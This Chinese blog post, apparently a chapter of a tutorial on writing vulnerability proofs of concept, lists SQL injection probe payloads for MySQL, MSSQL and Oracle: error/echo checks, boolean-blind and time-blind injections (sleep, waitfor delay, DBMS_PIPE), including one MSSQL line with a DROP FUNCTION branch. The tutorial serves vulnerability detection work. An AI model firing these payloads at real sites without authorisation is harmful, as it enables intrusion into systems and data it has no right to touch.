PoC 编写指南(第 2 章 SQL 注入类 PoC 总结篇)

《PoC 编写指南》现已经同步至 gitbook,博客和 gitbook 会同步更新,地址: http://poc.evalbug.com/

文章开始前说点别的,本来打算6月份才更的,原本以为没人看的。最近收到一封热心读者的邮件,很是感动啊,谢谢支持。也感谢一起参与到这个教程编写中的每一位朋友。

博客这边其实不是特别想更新的,毕竟阅读起来没 gitbook 体验那么好。而且发现博客这里章节序号和那边不一样,自己也不想改了,下一章直接会跳到第4章,不要惊讶。

之前讲了一堆,都是编写的过程,在这一章最后总结一下,把需要用到的 Payload 规范整理了一份列表出来,供大家参考。

报错和有回显类

MySQL

方法:直接在结果中输出一个 md5 值

1
select md5(233);

MSSQL

方法:直接在结果中输出一个 md5 值

其 SQL 语句原型类似:

1
select sys.fn_varbintohexstr(hashbytes('MD5','1234'));

hashbytes()返回 varbinary 类型值

sys.fn_VarBinToHexStr() 是把 varbinary 转换成 varchar

Oracle

方法:Oracle 中输出 md5 值实现起来较为复杂,可以连续输出几个随机的字符来使判断字符串随机化

SQL 语句:

1
SELECT CHR(97)||CHR(108)||CHR(107)||CHR(100)||CHR(102)||CHR(106)||CHR(103)||CHR(99) FROM foobar

其效果相当于:

1
SELECT 'alkdfjgc' FROM foobar

这样只用检测 alkdfjgc 是否在返回页面中即可。

注意:所选字符串应该尽量无规律且要有一定长度,不要选用常见的单词(如 get, test, ceshi)。

布尔盲注类

MySQL

1
2
3
4
5
select * from table where 1=1;
select * from table where 1=2;
select * from table where 1>2;
select IF(1=1, 1, 2);
select IF(1=2, 1, 2);

MSSQL

1
2
3
and 1=1
and 1=2
IF(1=1) SELECT 123 ELSE DROP FUNCTION xxxx

Oracle

1
(SELECT (CASE WHEN (1=1) THEN 123 ELSE CAST(1 AS INT)/(SELECT 0 FROM DUAL) END) FROM DUAL)

时间盲注类

MySQL

1
2
SELECT IF(1=1, sleep(5), "1");
SELECT IF(1=2, sleep(5), "1");

MSSQL

1
waitfor delay '0:0:5'

Oracle

1
AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])

receive_message 函数用于接收管道消息,并将接收到的消息写入到本地消息缓冲区。当接收完管道信息之后,会删除管道消息,管道消息只能被接收一次。

语法:

1
dbms_pipe.receive_message(pepename in varchar2,timeout in integer default maxwait) return integer;

其中,返回 0 接收成功,返回 1 超时,返回 2 本地缓冲区不能容纳管道消息,返回 3 发生中断。


文中所提及到的 Payload 不是唯一答案,仅作参考。如果想看更全面的,请参考 sqlmap 中 Payload 部分。

敲字敲着,发现键盘红了,流鼻血了 = =,先这样吧,如果你对里面有什么想法和见解,欢迎一起完善。